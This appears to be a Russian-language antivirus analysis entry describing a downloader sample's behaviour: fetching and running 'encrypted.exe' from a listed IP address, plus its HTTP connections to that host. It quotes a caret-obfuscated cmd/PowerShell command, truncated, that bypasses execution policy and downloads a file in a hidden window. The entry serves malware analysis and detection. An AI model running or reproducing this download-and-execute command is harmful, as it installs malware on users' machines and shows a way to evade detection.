Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://185.141.27.108/encrypted.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "Powers^helL.Exe^ -EXe^Cuti^o^NpO^LIcy B^yP^Ass -^no^p^r^O^FIL^E^ -WINdO^ws^Ty^lE HIdde^n (NeW-ob^J^eC^t S^y^S^T^eM.^N^ET.wEbC^LieNt^)^.^DOWNLOA^DFIL^E^('http://185.141.27.108/...
Сетевая активность
Подключается к
- '18#.#41.27.108':80
TCP
Запросы HTTP GET
- http://18#.#41.27.108/encrypted.exe
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "Powers^helL.Exe^ -EXe^Cuti^o^NpO^LIcy B^yP^Ass -^no^p^r^O^FIL^E^ -WINdO^ws^Ty^lE HIdde^n (NeW-ob^J^eC^t S^y^S^T^eM.^N^ET.wEbC^LieNt^)^.^DOWNLOA^DFIL^E^('http://185.141.27.108/...' (со скрытым окном)
